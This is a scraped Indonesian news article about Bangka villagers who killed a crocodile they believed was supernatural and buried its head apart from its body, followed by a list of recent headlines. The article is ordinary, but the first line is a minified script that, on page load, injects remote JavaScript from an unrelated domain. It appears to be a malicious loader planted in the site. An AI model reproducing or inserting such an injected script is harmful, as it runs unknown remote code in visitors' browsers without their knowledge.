(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: Viral

Kepala ‘Buaya Siluman’ di Babel Dipenggal dan Dikubur Terpisah, Diyakini Agar Tak Hidup Lagi


KANALKALIMANTAN.COM, BANGKA – Seekor raksasa dipenggal kepalanya oleh warga Desa Kayubesi, Bangka, Kepulauan Bangka Belitung (Babel). Warga beranggapan, hal tersebut dilakukan agar buaya yang dianggap sebagai ‘siluman’ itu tak hidup kembali.

“Penguburan terpisah antara badan dan kepalanya. Karena buaya siluman, jadi harus terpisah, kepalanya dikafani, ditakutkan hidup kembali. Sebelum pemotongan, juga ada ritual khusus,” kata Junaidi, Kamis (6/8/2020).

Kepada detik.com, Junaidi menceritakan hewan buas itu memang sengaja ditangkap warga dengan dibantu pawang. Warga menggunakan seekor monyet untuk memancing buaya datang.

Junaidi menuturkan, berdasarkan data BKSDA Babel, sudah ada dua warga nyaris diterkam buaya siluman tersebut saat sedang memancing pada 2016.

“Warga menyakini buaya raksasa itu merupakan buaya siluman. Itu buaya peliharaan (siluman). Kalau buaya yang bersalah, dipanggil dengan ritual khusus, lalu memakan pancing. Bagi yang tidak bersalah, tidak akan kena walau dipancing,” tegasnya.

Sebelumnya, video seekor buaya raksasa diarak warga menggunakan buldoser viral. Buaya raksasa itu ditangkap warga setelah beberapa kali berusaha menerkam warga yang memancing.

Video yang viral berdurasi 19 detik. Video itu memperlihatkan buaya berbobot 500 kg diangkut dengan buldoser.

Beberapa warga mengiringi buaya yang diangkut buldoser itu dari belakang menggunakan sepeda motor. Buaya besar itu diperkirakan memiliki panjang 4,8 meter. Buaya tersebut ditangkap warga di Pulau Bangka, tepatnya di Desa Kayubesi pada Senin (3/8) sekitar pukul 16.00 WIB. Buaya itu akhirnya mati pada Selasa (4/8) sore.

Di sisi lain, Kepala BKSDA Bangka Belitung Septian Wiguna mengatakan pihaknya, setelah mendapat informasi penangkapan, berencana mengevakuasi buaya raksasa itu. Namun, menurut Sekdes, ada aturan adat atau kepercayaan setempat bahwa buaya tersebut tidak boleh dievakuasi karena dipercaya akan memberikan musibah.

Menurutnya, kasus ini merupakan yang kedua kalinya. Pada 2016, pihaknya juga ditolak untuk mengevakuasi buaya. “Kepercayaan warga atau dukun setempat untuk menguburkannya langsung dengan ritual khusus,” kata Septian.

Dia mengimbau masyarakat agar selalu berhati-hati beraktivitas di lokasi yang terindikasi kuat adalah habitat buaya.

“Biarkan buaya tersebut hidup di rumahnya sendiri. Apabila terpaksa ditangkap, diimbau untuk berkoordinasi terlebih dahulu dengan kami agar dapat diantisipasi langkah-langkah penyelamatan buaya sehingga tidak terjadi kematian buaya,” imbaunya.(Kanalkalimantan.com/dtc)

 

Editor: Cell


Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.